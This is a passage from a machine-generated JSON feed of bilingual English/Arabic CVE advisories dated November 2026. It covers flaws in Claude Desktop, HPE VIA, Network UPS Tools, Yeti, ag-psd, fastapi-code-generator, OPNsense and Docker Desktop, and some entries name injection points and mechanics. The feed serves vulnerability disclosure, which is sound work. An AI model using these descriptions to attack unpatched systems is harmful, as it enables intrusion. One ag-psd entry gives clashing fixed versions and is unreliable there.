أوامر عن بُعد عبر ملف Git تنفيذي خبيث"},"summary":{"en":"Claude Desktop is Anthropic's desktop application for interacting with Claude. Prior to 1.8089.0, Claude Desktop on Windows invokes git.exe through uv_spawn without an absolute path, allowing Windows search-path resolution to select a malicious git.exe placed in the opened project's current working directory before the intended system executable. Opening an attacker-controlled or shared repository can therefore execute the substituted program with the user's privileges. This issue is fixed in version 1.8089.0.","ar":"تطبيق Claude Desktop هو تطبيق سطح مكتب من شركة Anthropic للتفاعل مع Claude. قبل الإصدار 1.8089.0، يستدعي تطبيق Claude Desktop على نظام Windows ملف git.exe عبر uv_spawn دون مسار مطلق، مما يسمح لآلية حل مسار البحث في نظام Windows بتحديد ملف git.exe خبيث تم وضعه في دليل العمل الحالي للمشروع المفتوح بدلاً من الملف التنفيذي المقصود للنظام. لذلك، يمكن أن يؤدي فتح مستودع يتحكم به المهاجم أو مشترك إلى تنفيذ البرنامج المستبدل بصلاحيات المستخدم. تم إصلاح هذه المشكلة في الإصدار 1.8089.0."},"refs":[["https://github.com/anthropics/claude-code/security/advisories/GHSA-4p2j-qj3c-6x84","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"anthropics-claude-code"},{"id":"CVE-2026-95728","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":null,"tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:57:47Z","product":"Hewlett Packard Enterprise (HPE) Virtual Intranet Access (VIA)","affected":[["0.0.0 – 4.7.8",null]],"title":{"en":"Local Privilege Escalation in Virtual Intranet Access (VIA) Client for Linux","ar":"تصعيد الصلاحيات محلياً في عميل Virtual Intranet Access (VIA) لنظام Linux"},"summary":{"en":"An arbitrary file write vulnerability exists in the Virtual Intranet Access (VIA) client. Successful exploitation could allow a local attacker with low privileges to escalate privileges on the affected system.","ar":"توجد ثغرة كتابة ملفات عشوائية في عميل Virtual Intranet Access (VIA). قد يتيح الاستغلال الناجح لمهاجم محلي ذي صلاحيات منخفضة تصعيد الصلاحيات على النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-virtual-intranet-access"},{"id":"CVE-2026-95727","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:57:46Z","product":"Hewlett Packard Enterprise (HPE) Virtual Intranet Access (VIA)","affected":[["0.0.0 – 4.7.8",null]],"title":{"en":"Authenticated Command Injection Vulnerability in HPE Networking VIA","ar":"ثغرة حقن أوامر مصادق عليها في HPE Networking VIA"},"summary":{"en":"A command injection vulnerability exists in HPE Networking VIA. Successful exploitation could allow an authenticated administrative user to execute arbitrary commands with elevated privileges on the underlying operating system.","ar":"توجد ثغرة حقن أوامر في HPE Networking VIA. قد يتيح الاستغلال الناجح لمستخدم إداري مصادق عليه تنفيذ أوامر عشوائية بصلاحيات مرتفعة على نظام التشغيل الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-virtual-intranet-access"},{"id":"CVE-2026-95725","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:57:45Z","product":"Hewlett Packard Enterprise (HPE) Virtual Intranet Access (VIA)","affected":[["0.0.0 – 4.7.8",null]],"title":{"en":"Authenticated Local Command Injection Vulnerability in the VIA Client for Linux","ar":"ثغرة حقن أوامر محلية مصادق عليها في عميل VIA لنظام Linux"},"summary":{"en":"A command injection vulnerability exists in the VIA client for Linux. Successful exploitation could allow a low-privileged local attacker to execute arbitrary commands with elevated privileges on the affected system.","ar":"توجد ثغرة حقن أوامر في عميل VIA لنظام Linux. قد يتيح الاستغلال الناجح لمهاجم محلي ذي صلاحيات منخفضة تنفيذ أوامر عشوائية بصلاحيات مرتفعة على النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-virtual-intranet-access"},{"id":"CVE-2026-95726","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:57:45Z","product":"Hewlett Packard Enterprise (HPE) Virtual Intranet Access (VIA)","affected":[["0.0.0 – 4.7.8",null]],"title":{"en":"Unauthenticated Buffer Overflow Vulnerability Leading to Denial-of-Service in HPE Networking VIA","ar":"ثغرة فيضان المخزن المؤقت دون مصادقة تؤدي إلى حجب الخدمة في HPE Networking VIA"},"summary":{"en":"A buffer overflow vulnerability in HPE Networking VIA could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to interrupt the normal operation of the affected client.","ar":"قد تتيح ثغرة فيضان المخزن المؤقت في HPE Networking VIA لمهاجم عن بُعد دون مصادقة إجراء هجوم حجب الخدمة. قد يتيح الاستغلال الناجح لمهاجم مقاطعة التشغيل العادي للعميل المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-virtual-intranet-access"},{"id":"CVE-2026-95724","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:57:44Z","product":"Hewlett Packard Enterprise (HPE) Virtual Intranet Access (VIA)","affected":[["0.0.0 – 4.7.8",null]],"title":{"en":"Unauthenticated Improper Certificate Validation leads to Authentication Bypass in HPE Networking Virtual Intranet Access (VIA)","ar":"التحقق غير السليم من الشهادات دون مصادقة يؤدي إلى تجاوز المصادقة في HPE Networking Virtual Intranet Access (VIA)"},"summary":{"en":"An improper certificate validation vulnerability exists in HPE Networking Virtual Intranet Access (VIA). Successful exploitation could allow an unauthenticated remote attacker to bypass authentication mechanisms, leading to the possible disclosure of sensitive information.","ar":"توجد ثغرة تحقق غير سليم من الشهادات في HPE Networking Virtual Intranet Access (VIA). قد يتيح الاستغلال الناجح لمهاجم عن بُعد دون مصادقة تجاوز آليات المصادقة، مما يؤدي إلى احتمالية الكشف عن معلومات حساسة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-virtual-intranet-access"},{"id":"CVE-2026-95723","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:57:43Z","product":"Hewlett Packard Enterprise (HPE) Virtual Intranet Access (VIA)","affected":[["0.0.0 – 4.7.8",null]],"title":{"en":"Authenticated Local Missing Integrity Verification Vulnerability leads to Local Privilege Escalation in Virtual Intranet Access (VIA) Client","ar":"ثغرة غياب التحقق من السلامة محلياً والمصادق عليها تؤدي إلى تصعيد الصلاحيات محلياً في عميل Virtual Intranet Access (VIA)"},"summary":{"en":"A missing integrity verification vulnerability has been discovered in the Virtual Intranet Access (VIA) client. Successful exploitation of this vulnerability could allow a low-privileged local attacker to execute arbitrary code with elevated privileges on the underlying operating system.","ar":"تم اكتشاف ثغرة غياب التحقق من السلامة في عميل Virtual Intranet Access (VIA). قد يتيح الاستغلال الناجح لهذه الثغرة لمهاجم محلي ذي صلاحيات منخفضة تنفيذ شيفرة عشوائية بصلاحيات مرتفعة على نظام التشغيل الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-virtual-intranet-access"},{"id":"CVE-2026-95722","cvss":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":null,"tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:57:42Z","product":"Hewlett Packard Enterprise (HPE) Virtual Intranet Access (VIA)","affected":[["0.0.0 – 4.7.8",null]],"title":{"en":"Local Privilege Escalation Vulnerability in the Virtual Intranet Access (VIA) Client","ar":"ثغرة تصعيد الصلاحيات محلياً في عميل Virtual Intranet Access (VIA)"},"summary":{"en":"A local privilege escalation vulnerability has been discovered in the Virtual Intranet Access (VIA) client. Successful exploitation of this vulnerability could allow a local attacker with low privileges to execute arbitrary commands with elevated privileges on the underlying operating system.","ar":"تم اكتشاف ثغرة تصعيد صلاحيات محلياً في عميل Virtual Intranet Access (VIA). قد يتيح الاستغلال الناجح لهذه الثغرة لمهاجم محلي ذي صلاحيات منخفضة تنفيذ أوامر عشوائية بصلاحيات مرتفعة على نظام التشغيل الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-virtual-intranet-access"},{"id":"CVE-2026-54161","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:57:14Z","product":"networkupstools nut","affected":[],"title":{"en":"upsmon: remote OS command injection (RCE) via attacker-controlled ups.alarm in NOTIFYCMD execution","ar":"upsmon: حقن أوامر نظام التشغيل عن بُعد (RCE) عبر ups.alarm الخاضع لسيطرة المهاجم في تنفيذ NOTIFYCMD"},"summary":{"en":"Network UPS Tools is a collection of programs which provide a common interface for monitoring and administering UPS, PDU and SCD hardware. From 2.8.3 to 2.8.5, upsmon in clients/upsmon.c inserts the server-supplied ups.alarm value into shell commands executed by notify(), async_notify(), and wall(). When a monitored device reports an ALARM state and an operator has configured NOTIFYCMD with EXEC in NOTIFYFLAG ALARM, shell metacharacters in the alarm text are evaluated on POSIX or Windows and can execute arbitrary operating-system commands as the upsmon account, which is commonly root. An attacker can control the value through a malicious or compromised upsd, a man-in-the-middle on a plaintext upsd to upsmon connection, or a compromised UPS device whose driver supplies the alarm upstream of upsd; TLS between upsd and upsmon does not mitigate the compromised-device path. This vulnerability is fixed in 2.8.6.","ar":"برنامج Network UPS Tools هو مجموعة من البرامج التي توفر واجهة مشتركة لمراقبة وإدارة أجهزة UPS وPDU وSCD. من الإصدار 2.8.3 إلى 2.8.5، يقوم upsmon في الملف clients/upsmon.c بإدراج قيمة ups.alarm المقدمة من الخادم في أوامر الصدفة التي تنفذها الدوال notify() وasync_notify() وwall(). عندما يبلغ الجهاز المراقب عن حالة ALARM ويقوم المشغل بتكوين NOTIFYCMD باستخدام EXEC في NOTIFYFLAG ALARM، يتم تقييم محارف الصدفة الوصفية في نص الإنذار على POSIX أو Windows ويمكنها تنفيذ أوامر عشوائية لنظام التشغيل بصفتها حساب upsmon، والذي يكون عادةً root. يمكن للمهاجم التحكم في القيمة من خلال برنامج upsd ضار أو مخترق، أو هجوم رجل في المنتصف على اتصال نصي صريح بين upsd وupsmon، أو جهاز UPS مخترق يزوِّد برنامجه التشغيلي الإنذار إلى أعلى المنبع من upsd؛ ولا تُخفِّف طبقة TLS بين upsd وupsmon مسار الجهاز المخترق. تم إصلاح هذه الثغرة في الإصدار 2.8.6."},"refs":[["https://github.com/networkupstools/nut/security/advisories/GHSA-mjgp-j4gm-6qg5","ref"],["https://github.com/networkupstools/nut/pull/3499","ref"],["https://github.com/networkupstools/nut/commit/98e073d4cc31f9c73e2fa0c2677540487d902fe7","ref"],["https://github.com/networkupstools/nut/commit/dffba911504866695be698bb5ec49eac40d0f66a","ref"],["https://github.com/networkupstools/nut/commit/ecf98e7542e4ae2b62b211622ee26989274b2220","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"networkupstools-nut"},{"id":"CVE-2026-63482","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:35:13Z","product":"yeti-platform yeti","affected":[],"title":{"en":"Yeti: Unauthenticated Access to Full Audit Timeline Discloses All Threat Intelligence Data","ar":"Yeti: الوصول دون مصادقة إلى خط الزمني الكامل للمراجعة يكشف عن جميع بيانات استخبارات التهديدات"},"summary":{"en":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. Prior to 2.5.1, YETI registers the audit router without Depends(auth.get_current_active_user), and core/web/apiv2/audit.py does not perform a route-level authentication check for /api/v2/audit/timeline/{id}. An unauthenticated network attacker can use an empty, partial, or specific wildcard path to query TimelineLog records containing the actor, target_id, action, and details fields, including analyst usernames, object identifiers and values, and before-and-after object data. This exposes the operational history of threat-intelligence objects while other application routers require authentication. This issue is fixed in version 2.5.1.","ar":"يوفر Yeti منصة وخط أنابيب لاستخبارات الأدلة الجنائية. قبل الإصدار 2.5.1، يُسجِّل نظام YETI موجه المراجعة (audit router) دون استخدام Depends(auth.get_current_active_user)، كما أن ملف core/web/apiv2/audit.py لا يُجري فحصاً للمصادقة على مستوى المسار لـ /api/v2/audit/timeline/{id}. يمكن لمهاجم شبكي دون مصادقة استخدام مسار فارغ أو جزئي أو يحوي محرف بدل (wildcard) للاستعلام عن سجلات TimelineLog التي تحتوي على حقول الجهة الفاعلة (actor) وtarget_id وaction والتفاصيل، بما في ذلك أسماء مستخدمي المحللين ومعرفات الكائنات وقيمها وبيانات الكائنات قبل وبعد التعديل. يؤدي هذا إلى كشف السجل التشغيلي لكائنات استخبارات التهديدات بينما تتطلب موجهات التطبيق الأخرى المصادقة. تم إصلاح هذه المشكلة في الإصدار 2.5.1."},"refs":[["https://github.com/yeti-platform/yeti/security/advisories/GHSA-34r4-95hx-gxqr","ref"],["https://github.com/yeti-platform/yeti/pull/1276","ref"],["https://github.com/yeti-platform/yeti/commit/692af02ffc05faabc8638b15a88765cb0e3f2503","ref"],["https://github.com/yeti-platform/yeti/releases/tag/2.5.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yeti-platform-yeti"},{"id":"CVE-2026-63489","cvss":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","cwe":"CWE-943","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:33:57Z","product":"yeti-platform yeti","affected":[],"title":{"en":"Yeti: Authenticated AQL injection via unvalidated search sorting and filter_aliases parameters","ar":"Yeti: حقن AQL بمصادقة عبر معاملات فرز البحث وfilter_aliases غير المتحقق منها"},"summary":{"en":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. In version 2.5.0 and earlier, YETI directly interpolates user-controlled sorting fields and filter_aliases attribute paths into ArangoDB AQL identifier and expression positions in core/database_arango.py. A low-privileged authenticated user can send crafted values to POST /api/v2/observables/search, POST /api/v2/entities/search, POST /api/v2/indicators/search, POST /api/v2/dfiq/search, POST /api/v2/search/, or POST /api/v2/graph/search, causing attacker-controlled AQL subexpressions to be parsed and evaluated. This can provide an error oracle, evaluate expressions against internal collections such as users, alter intended search logic, enumerate schema information, and consume excessive database resources. The verified injection points are read and search contexts, so arbitrary database writes are not established. No fixed version is available as of this review.","ar":"يوفر Yeti منصة وخط أنابيب لاستخبارات الأدلة الجنائية. في الإصدار 2.5.0 والإصدارات السابقة، يقوم YETI بشكل مباشر بإدراج حقول الفرز التي يتحكم بها المستخدم ومسارات سمات filter_aliases في مواضع معرفات وتعبيرات ArangoDB AQL داخل ملف core/database_arango.py. يمكن لمهاجم يملك حسابًا مصادقًا عليه بصلاحيات منخفضة إرسال قيم مصممة خصيصاً إلى POST /api/v2/observables/search، أو POST /api/v2/entities/search، أو POST /api/v2/indicators/search، أو POST /api/v2/dfiq/search، أو POST /api/v2/search/، أو POST /api/v2/graph/search، مما يتسبب في تحليل وتقييم تعبيرات AQL الفرعية التي يتحكم بها المهاجم. قد يوفر هذا آراء أخطاء، أو يقيّم تعبيرات مقابل مجموعات داخلية مثل المستخدمين، أو يغير منطق البحث المقصود، أو يسرد معلومات مخطط قاعدة البيانات، أو يستهلك موارد مفرطة في قاعدة البيانات. نقاط الحقن التي تم التحقق منها تقع في سياقات القراءة والبحث، لذا لا توجد عمليات كتابة عشوائية في قاعدة البيانات. لا يتوفر إصدار مُصحَّح وقت إجراء هذه المراجعة."},"refs":[["https://github.com/yeti-platform/yeti/security/advisories/GHSA-vw33-fwfx-6m9p","ref"],["https://github.com/yeti-platform/yeti/pull/1277","ref"],["https://github.com/yeti-platform/yeti/commit/89d8b61cf97b0fb2d46c2f9ee8b7411444345fc6","ref"],["https://github.com/yeti-platform/yeti/releases/tag/2.5.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yeti-platform-yeti"},{"id":"CVE-2026-63501","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:30:03Z","product":"Agamnentzar ag-psd","affected":[],"title":{"en":"ag-psd: Uncontrolled Memory Allocation in PSD Layer Decoding (totalMemoryLimit bypass)","ar":"ag-psd: تخصيص الذاكرة بشكل غير متحكم به في فك ترميز طبقات PSD (تجاوز totalMemoryLimit)"},"summary":{"en":"ag-psd is a JavaScript library for reading and writing Photoshop Document files. Prior to 31.0.3, readPsd() accepts a totalMemoryLimit for parsing untrusted PSD files, but decodeLayerImageData expects a differently named memoryLimit property and therefore passes an undefined limit to createImageDataBitDepth. An attacker who can supply a PSD to an application with layer decoding enabled can use attacker-controlled layer dimensions to trigger an allocation larger than the configured limit, causing process memory exhaustion and denial of service. The advisory also identifies inflateSync(compressed) decompressing ZIP-encoded channel data without an output-size cap, which can cause a similar denial of service through unbounded decompression. This vulnerability is fixed in 31.0.1.","ar":"مكتبة ag-psd هي مكتبة جافاسكريبت (JavaScript) لقراءة وكتابة ملفات مستندات فوتوشوب (Photoshop Document). قبل الإصدار 31.0.3، تقبل الدالة readPsd() قيمة totalMemoryLimit لتحليل ملفات PSD غير الموثوقة، ولكن الدالة decodeLayerImageData تتوقع خاصية memoryLimit مسماة بشكل مختلف، وبالتالي تمرر حدًا غير مُعرّف (undefined) إلى createImageDataBitDepth. يمكن لمهاجم قادر على توفير ملف PSD لتطبيق مُفعَّل فيه فك ترميز الطبقات استخدام أبعاد طبقات يتحكم بها المهاجم لتشغيل عملية تخصيص ذاكرة أكبر من الحد المُكوّن، مما يتسبب في استنفاد ذاكرة العملية وحدوث حجب الخدمة. يحدد التنبيه أيضًا أن دالة inflateSync(compressed) تقوم بفك ضغط بيانات القنوات المشفرة بصيغة ZIP دون وضع حد أقصى لحجم الإخراج، مما قد يسبب حجب خدمة مشابهاً من خلال فك الضغط بلا حدود. تم إصلاح هذه الثغرة في الإصدار 31.0.1."},"refs":[["https://github.com/Agamnentzar/ag-psd/security/advisories/GHSA-6w3r-6hpr-hp6p","ref"],["https://github.com/Agamnentzar/ag-psd/commit/57ea7d865238b6b7c8a2e976bcf2a77e03116e2f","ref"],["https://github.com/Agamnentzar/ag-psd/releases/tag/31.0.3","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"agamnentzar-ag-psd"},{"id":"CVE-2026-63471","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:18:44Z","product":"koxudaxi fastapi-code-generator","affected":[],"title":{"en":"fastapi-code-generator: Import-time RCE via route path -> unescaped @app.get('...') decorator","ar":"ثغرة تنفيذ أوامر عن بُعد في koxudaxi fastapi-code-generator"},"summary":{"en":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts an OpenAPI path into a generated @app.get(...) route decorator as a single-quoted generated route string without escaping embedded quotes. An attacker-controlled or attacker-influenced OpenAPI path can close the string and inject a valid Python expression into the decorator argument. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the application's or CI process's privileges when the generated module is imported and the decorator is evaluated. This OpenAPI path sink is distinct from the project's separate operation-summary docstring and additional-response-key sinks. This issue is fixed in version 0.8.1.","ar":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts an OpenAPI path into a generated @app.get(...) route decorator as a single-quoted generated route string without escaping embedded quotes. An attacker-controlled or attacker-influenced OpenAPI path can close the string and inject a valid Python expression into the decorator argument. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the application's or CI process's privileges when the generated module is imported and the decorator is evaluated. This OpenAPI path sink is distinct from the project's separate operation-summary docstring and additional-response-key sinks. This issue is fixed in version 0.8.1."},"refs":[["https://github.com/koxudaxi/fastapi-code-generator/security/advisories/GHSA-p2mm-64f6-gmpp","ref"],["https://github.com/koxudaxi/fastapi-code-generator/commit/49301dbdb82170d7f50877419d994b05cb1fa2bc","ref"],["https://github.com/koxudaxi/fastapi-code-generator/commit/b3b9bd66e0b0c4d8c686fda700258104615a1332","ref"],["https://github.com/koxudaxi/fastapi-code-generator/releases/tag/0.8.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"koxudaxi-fastapi-code-generator"},{"id":"CVE-2026-57154","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:18:06Z","product":"opnsense core","affected":[],"title":{"en":"OPNsense: Configuration line injection via multiple GUI text fields","ar":"ثغرة عالية الخطورة في opnsense core"},"summary":{"en":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11 and 26.4.1p1, authenticated Web UI or API users with delegated access to affected settings can submit CR or LF characters in fields expected to contain one line, causing generated privileged service configuration files to contain additional attacker-controlled directives or policy lines. The confirmed Dnsmasq path includes dhcp_boot.filename, dhcp_boot.servername, dhcp_boot.address, and dhcp_options.value, which are rendered into /usr/local/etc/dnsmasq.conf; access through page-services-dnsforwarder covers api/dnsmasq/*. Related affected fields span OpenVPN, DHCPv6, Unbound, IPsec, NTP, PPP or MPD, Monit, firewall, sudo, WebGUI, and System General configuration. Applying or restarting the affected service can alter behavior beyond the delegated setting, create service-side files, cross RBAC boundaries, or cause denial of service. Line injection through Monit mail password and adjacent Monit text fields into /usr/local/etc/monitrc demonstrated root command execution. Arbitrary shell command execution was not confirmed for the Dnsmasq path. This issue is fixed in versions 26.1.11 and 26.4.1p1.","ar":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11 and 26.4.1p1, authenticated Web UI or API users with delegated access to affected settings can submit CR or LF characters in fields expected to contain one line, causing generated privileged service configuration files to contain additional attacker-controlled directives or policy lines. The confirmed Dnsmasq path includes dhcp_boot.filename, dhcp_boot.servername, dhcp_boot.address, and dhcp_options.value, which are rendered into /usr/local/etc/dnsmasq.conf; access through page-services-dnsforwarder covers api/dnsmasq/*. Related affected fields span OpenVPN, DHCPv6, Unbound, IPsec, NTP, PPP or MPD, Monit, firewall, sudo, WebGUI, and System General configuration. Applying or restarting the affected service can alter behavior beyond the delegated setting, create service-side files, cross RBAC boundaries, or cause denial of service. Line injection through Monit mail password and adjacent Monit text fields into /usr/local/etc/monitrc demonstrated root command execution. Arbitrary shell command execution was not confirmed for the Dnsmasq path. This issue is fixed in versions 26.1.11 and 26.4.1p1."},"refs":[["https://github.com/opnsense/core/commit/52b18e67a9ec4596a64ac3a53f3aa102ced55293","ref"],["https://github.com/opnsense/core/commit/6c3be9a11699879fe50aea1c30e50de5864601d7","ref"],["https://github.com/opnsense/core/security/advisories/GHSA-fq94-cxvc-9r7w","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"opnsense-core"},{"id":"CVE-2026-112917","cvss":9.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-424","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T19:17:53Z","product":"Docker Docker Desktop","affected":[["<4.98.0","4.98.0"]],"title":{"en":"Docker Desktop WSL2 AF_VSOCK isolation bypass via 32-bit socketcall","ar":"ثغرة حرجة في Docker Docker Desktop"},"summary":{"en":"In Docker Desktop for Windows with the WSL2 backend, an unprivileged Linux container can use 32-bit socketcall to bypass the default seccomp restriction on AF_VSOCK. This can expose host-facing services and Windows files accessible to the logged-in user. The issue affects x86-64 WSL2; LinuxKit-based backends are unaffected. The issue is fully fixed only with Docker Desktop 4.98.0 or later and WSL 3.0.3 or later. Docker Desktop 4.98.0 or later running on an older WSL remains affected.","ar":"In Docker Desktop for Windows with the WSL2 backend, an unprivileged Linux container can use 32-bit socketcall to bypass the default seccomp restriction on AF_VSOCK. This can expose host-facing services and Windows files accessible to the logged-in user. The issue affects x86-64 WSL2; LinuxKit-based backends are unaffected. The issue is fully fixed only with Docker Desktop 4.98.0 or later and WSL 3.0.3 or later. Docker Desktop 4.98.0 or later running on an older WSL remains affected."},"refs":[["https://docs.docker.com/desktop/release-notes/#4980","ref"],["https://github.com/microsoft/WSL/releases/tag/3.0.3","ref"],["https://github.com/microsoft/WSL2-Linux-Kernel/releases/tag/linux-msft-wsl-6.18.54.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"docker-desktop"},{"id":"CVE-2026-63469","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:15:54Z","product":"koxudaxi fastapi-code-generator","affected":[],"title":{"en":"fastapi-code-generator: Import-time RCE via response status-code key -> unescaped @app.get(..., responses={...}) dict","ar":"ثغرة تنفيذ أوامر عن بُعد في koxudaxi fastapi-code-generator"},"summary":{"en":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts an additional response status-code key into the generated responses={...} route-decorator dictionary as a single-quoted Python string without escaping embedded quotes. A multi-response OpenAPI operation with an attacker-controlled or attacker-influenced second non-primary response key can close the dictionary-key literal and inject a valid Python expression. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the application's or CI process's privileges when the generated module is imported and its decorator arguments are evaluated. This additional-response-key sink is distinct from the project's separate route-path and operation-summary sinks. This issue is fixed in version 0.8.1.","ar":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts an additional response status-code key into the generated responses={...} route-decorator dictionary as a single-quoted Python string without escaping embedded quotes. A multi-response OpenAPI operation with an attacker-controlled or attacker-influenced second non-primary response key can close the dictionary-key literal and inject a valid Python expression. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the application's or CI process's privileges when the generated module is imported and its decorator arguments are evaluated. This additional-response-key sink is distinct from the project's separate route-path and operation-summary sinks. This issue is fixed in version 